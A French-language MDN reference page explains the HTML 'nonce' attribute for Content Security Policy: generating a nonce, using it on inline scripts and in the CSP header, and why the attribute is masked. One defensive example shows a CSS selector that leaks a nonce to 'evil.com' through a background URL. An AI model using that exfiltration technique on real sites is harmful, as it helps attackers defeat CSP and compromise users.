Cette page a été traduite à partir de l'anglais par la communauté.Vous pouvez contribuer en rejoignant la communauté francophone sur MDN Web Docs.
nonce
Baseline Widely available
Cette fonctionnalité est bien établie et fonctionne sur de nombreux appareils et versions de navigateurs. Elle est disponible sur tous les navigateurs depuis mars 2022.
L'attribut universelnonce est un attribut de contenu qui définit un nonce cryptographique pouvant être utilisé par unerègle de sécurité du contenu (CSP) afin de déterminer si la récupération d'un élément sera autorisée ou non.
Dans cet article
Description
L'attributnonce permet d'autoriser certains éléments spécifiques (comme un script ou un style donné) en évitant d'avoir à utiliser la directiveCSPunsafe-inline qui autoriseraittous les scripts ou styles embarqués.
Note :nonce doit uniquement être utilisé pour les cas où il n'est pas possible de faire autrement que d'utiliser un script ou un style embarqué non sécurisé. Si vous n'avez pas besoin denonce, il ne faut pas l'utiliser. Si votre script est statique, vous pouvez utiliser une empreinte (hash) CSP à la place (voir les notes d'utilisation surles scripts embarqués non sécurisés.)
Mieux vaut toujours exploiter les protectionsCSP au maximum et donc éviter les nonces ou les scripts embarqués non sécurisés tant que possible.
Utilisernon pour autoriser un élément <script>
Plusieurs étapes sont nécessaires afin d'utiliser un nonce pour autoriser un script embarqué.
Générer une valeur
Sur le serveur web, générez une chaîne de caractères encodées en base64 à partir de 128 bits de données générés par un générateur de nombres aléatoires cryptographique. Les nonces doivent être générés différemment à chaque chargement de la page. En Node.js par exemple, on pourra écrire :
const crypto = require("crypto");crypto.randomBytes(16).toString("base64");// '8IBTHwOdqNKAWeKl7plt8g=='Autoriser le script embarqué
Le nonce généré côté serveur peut ensuite être utilisé sur le script embarqué qu'on souhaite autoriser :
<script nonce="8IBTHwOdqNKAWeKl7plt8g=="> …</script>Envoyer le nonce avec un en-tête CSP
Enfin, il faut envoyer la valeur du nonce dans un en-têteContent-Security-Policy en préfixant la chaîne de caractères avecnonce- :
Content-Security-Policy: script-src 'nonce-8IBTHwOdqNKAWeKl7plt8g=='Masquage et accès au nonce
Pour des raisons de sécurité, le contenu de l'attributnonce est masqué (c'est une chaîne vide qui sera renvoyé).
script.getAttribute("nonce"); // renvoie la chaîne videLa propriéténonce est la seule façon d'accéder aux nonces :
script.nonce; // renvoie la valeur du nonceUn tel masquage empêche des acteurs malveillants d'exfiltrer les données du nonce grâce à des mécanismes qui permettent d'accéder aux attributs comme :
script[nonce~="peuimporte"] { background: url("https://evil.com/nonce?peuimporte");}Spécifications
| Specification |
|---|
| HTML> # attr-nonce> |